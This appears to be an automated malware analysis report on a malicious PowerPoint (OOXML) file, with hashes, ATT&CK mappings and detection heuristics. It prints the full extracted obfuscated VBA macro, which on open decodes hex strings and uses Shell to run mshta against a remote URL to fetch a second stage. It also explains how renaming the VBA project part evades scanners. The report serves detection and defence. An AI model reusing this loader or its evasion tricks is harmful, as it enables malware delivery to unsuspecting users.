Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 21ce5ee5e96fb1c0…

MALICIOUS

Office (OOXML)

10.1 KB First seen: 2021-11-07
MD5: 8e264f0b1a34bddd47940eea1f5a983a SHA-1: 3158e16e678a3daa82ecb8d2acd899cfcf5f5dfd SHA-256: 21ce5ee5e96fb1c065c21ba4fe98e030ccaa748fe18a8943887f786266efa688
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains an obfuscated VBA macro with an Auto_Open subroutine that utilizes the Shell() function. The macro decodes a URL and a command, then executes them. Specifically, it decodes 'mshta' and 'http://www.bitly.com/dwjiddwkwoddwodkwowdk', and then executes 'mshta http://www.bitly.com/dwjiddwkwoddwodkwowdk'. This indicates the document is designed to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/1234b.b)
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3501 bytes
SHA-256: 6bc118c0d84f4b7a3d19ebf84ca86a9a2033a11f7b248bcc7b4c1387ec0ff0a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox(Qi09iOppq("4552524F5221"), vbOKCancel); returns; 1
Dim QJNa6ZqgZ As String
Dim JqytK3e6b As String
Dim sqMBAJKlN As String
QJNa6ZqgZ = Qi09iOppq("6D7368746120")
JqytK3e6b = Qi09iOppq("68747470733A2F2F7777772E6269746C792E636F6D2F")
sqMBAJKlN = "dwjiddwkwoddwodkwowdk"
Debug.Print QJNa6ZqgZ
Debug.Print JqytK3e6b
Debug.Print sqMBAJKlN
Debug.Print (VBA.Shell(QJNa6ZqgZ + JqytK3e6b + sqMBAJKlN))
End Sub
Public Function Qi09iOppq(ByVal BIakZwuoV As String)
Dim pT1M0WOWg As Long, xHqC37vvb As String, SxLBZR9Fo As String
    On Local Error Resume Next
    For pT1M0WOWg = 1 To Len(BIakZwuoV) Step 2

GoTo fUBJKINwrcpoFJMDcr
fUBJKINwrcpoFJMDcr:
GoTo bjYDzzxCohoStfuyB:

uMJhCbhdosGcenx:

GoTo kUCEZCGUeNAmNjiLrK
kUCEZCGUeNAmNjiLrK:
CDkrJRHnijhmQelBdcsi = "cBeGpdyoftD"
GoTo UlDYrlbGPPOSE
KdaxSrjgrIQsgpNIlnTtBrQggfkGNUzM:
enxrUlDYrlbGPPOExEjvvKORJixqaHKfHLa = "FSFTqoQy"
GoTo cfiayNGqZbvYdqnVjIksEhAgEVwVhbtdzju
zzxCohoStfuyBtRuJFuOEvJTCC:
BFfFQKdaxSrjgrIQsgp = "IlnTotBrggfkGNUzML"

GoTo cDZmAizlpODAuJhCbhdosGcenxrUlDY

GoTo yAZALFXUqNldZlCRma
yAZALFXUqNldZlCRma:
bjYDzzxCohoStfuyB:
mZZAIVxQwUmynkew = "PzKQMpqLMQubEUA"

GoTo uMJhCbhdosGcenx

GoTo jHCfhOinylRaaYdBIP
jHCfhOinylRaaYdBIP:
cfiayNGqZbvYdqnVjIksEhAgEVwVhbtdzju:
        xHqC37vvb = xHqC37vvb & Chr$(Val("&H" & Mid$(BIakZwuoV, pT1M0WOWg, 2)))
GoTo wHZnvwGeZCDkrJRnijhmQelBdcsilcBe
GpdyoftDmmZZAIVxQUmynkewtPzKQMYqLMQubEUAHbjY:
enxrUlDYrlbGPPOExEjvvKORJixqaHKfHLa = "FSFTqoQy"
GoTo zzxCohoStfuyBtRuJFuOEvJTCC
ORJixqaHKfHLakFSF:
mZZAIVxQwUmynkew = "PzKQMpqLMQubEUA"
GoTo RuaJFuOEvJTCCpDZmAizlpOD
wHZnvwGeZCDkrJRnijhmQelBdcsilcBe:
GoTo GpdyoftDmmZZAIVxQUmynkewtPzKQMYqLMQubEUAHbjY
EjvvKORJixqaHKfLakFSFsTqoQyPBFfF:
BFfFQKdaxSrjgrIQsgp = "IlnTotBrggfkGNUzML"
GoTo KdaxSrjgrIQsgpNIlnTtBrQggfkGNUzM

cDZmAizlpODAuJhCbhdosGcenxrUlDY:

GoTo HUTjnphHVOgiDfkwud
HUTjnphHVOgiDfkwud:
fiayNGqZbvYdqnVIIksEhAgEVwVhbtd = "juAwHZvwGe"
GoTo lbGPPOSExEjvv
UlDYrlbGPPOSE:
fiayNGqZbvYdqnVIIksEhAgEVwVhbtd = "juAwHZvwGe"
GoTo EjvvKORJixqaHKfLakFSFsTqoQyPBFfF
lbGPPOSExEjvv:
CDkrJRHnijhmQelBdcsi = "cBeGpdyoftD"
GoTo ORJixqaHKfHLakFSF
RuaJFuOEvJTCCpDZmAizlpOD:

    Next pT1M0WOWg

GoTo qQQrANoJnMdEepjCkI
qQQrANoJnMdEepjCkI:
GoTo CpcDZmAizlpODAuM:
oStfuyBtRuaFuOEvJTCCpcDZmAiz:
RHnijhmQelBdcsilcBe = "GpdyoftDmZZA"
GoTo pODAuMJhCbhdsGcenxrUlDYrl
nvwGeZCDkrJRHnijhmQe:
GoTo BdcsilcBeJGpyoftDmmZZA
BdcsilcBeJGpyoftDmmZZA:
NIlnTotBrQggfkGN = "zMLcfiayNGZbvY"
GoTo VxQwUmynkewtPzKQMpqLMQubEUAHbjYDzzxCo
xSrjgrIQsgNIlnTotBrQggf:
RHnijhmQelBdcsilcBe = "GpdyoftDmZZA"
GoTo GNUzMLcfiayN
GNUzMLcfiayN:
qnVjIIksEhAgEVw = "hbtdzjuAwHnvwGeZCDkr"
GoTo qZbvYdqnVjIIksEh
ORJixqaHKfHLakFSFTqoQyPBFfFQKd:
VxQwUmynkewtPzKQMYp = "LMQuEU"
GoTo xSrjgrIQsgNIlnTotBrQggf
CpcDZmAizlpODAuM:
HbjYDzzxCohoStfuyB = "RuaJFOEvJT"
GoTo ORJixqaHKfHLakFSFTqoQyPBFfFQKd
GPPOSExEjvSVZQpExhPRmOThrM:
HbjYDzzxCohoStfuyB = "RuaJFOEvJT"

GoTo hCbhdosGcenxrUlDYlbGPPOSExEjvv

GoTo rCIEPgyDFOlgKMsSaP
rCIEPgyDFOlgKMsSaP:
VxQwUmynkewtPzKQMpqLMQubEUAHbjYDzzxCo:
qnVjIIksEhAgEVw = "hbtdzjuAwHnvwGeZCDkr"
GoTo oStfuyBtRuaFuOEvJTCCpcDZmAiz
gEVwVhbtdzjuAwH:
    Qi09iOppq = xHqC37vvb
GoTo nvwGeZCDkrJRHnijhmQe
pODAuMJhCbhdsGcenxrUlDYrl:
VxQwUmynkewtPzKQMYp = "LMQuEU"
GoTo GPPOSExEjvSVZQpExhPRmOThrM
qZbvYdqnVjIIksEh:
NIlnTotBrQggfkGN = "zMLcfiayNGZbvY"
GoTo gEVwVhbtdzjuAwH

hCbhdosGcenxrUlDYlbGPPOSExEjvv:
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/1234b.b 19968 bytes
SHA-256: 8542722e4458f14fae67a4d48739dde2906873d9a24afa70a3804df33f5a15fd

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